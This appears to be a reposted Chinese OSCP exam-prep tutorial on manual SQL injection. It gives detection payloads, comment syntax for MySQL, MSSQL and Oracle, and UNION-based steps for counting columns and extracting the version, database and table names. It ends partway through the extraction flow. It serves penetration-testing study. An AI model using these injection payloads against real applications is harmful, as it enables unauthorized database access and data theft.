文章总结: 本文是OSCP认证考试准备的SQL注入技巧指南,重点介绍了手工SQL注入的检测方法和利用技巧。内容涵盖基础检测方法如单引号测试、布尔测试和数学运算测试,详细说明了MySQL、MSSQL和Oracle数据库的注释符使用差异,并系统讲解了联合查询注入的完整流程,包括确定列数、定位可显示列和数据提取步骤。文章强调OSCP考试可能出现手工SQL注入题目,提供了实用的Payload示例和数据库特定语法,帮助考生掌握关键技能。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,CTF
OSCP必备技能17-SQL注入小技巧
原创
高级红队专家
高级红队专家
2025年12月14日 07:20 中国香港
本系列共18篇,涵盖OSCP认证考试所需全部技能点,本章为“17-SQL注入小技巧”,技术交流可加微信群,资源免费共享可加QQ群:上车啦!| 微信②群聊天交流 | QQ群分享资料
注意:OSCP考试是有可能出现手工SQL注入的题目的!!!
一、SQL注入基础检测
1. 初步检测方法
-- 单引号测试(错误检测)
'
"
')
")
'))
-- 布尔测试
' AND '1'='1
' AND '1'='2
' OR 1=1 --
' OR 'a'='a
-- 数学运算测试
id=1 AND 1=1
id=1 AND 1=2
id=1+1
id=2-1
2. 注释符使用
-- MySQL注释
# 注释
/* 注释 */
-- 注释(需要空格)
-- MSSQL注释
-- 注释
/* 注释 */
-- Oracle注释
-- 注释
-- 实际应用
' OR 1=1 --
' OR 1=1 #
' OR 1=1 /*
二、联合查询注入(UNION-based)
1. 确定列数
-- ORDER BY方法
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
-- 直到出现错误,确定列数
-- UNION SELECT方法
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
2. 确定可显示列
-- 使用占位符测试
' UNION SELECT 1,2,3--
' UNION SELECT 'a','b','c'--
-- 数据库版本信息
' UNION SELECT 1,@@version,3-- -- MSSQL
' UNION SELECT 1,version(),3-- -- MySQL
' UNION SELECT 1,banner,3 FROM v$version-- -- Oracle
3. 完整数据提取流程
-- 1. 获取数据库名
' UNION SELECT 1,database(),3-- -- MySQL
' UNION SELECT 1,DB_NAME(),3-- -- MSSQL
-- 2. 获取表名
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- -- MySQL
`
查看原文:《OSCP必备技能17-SQL注入小技巧》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论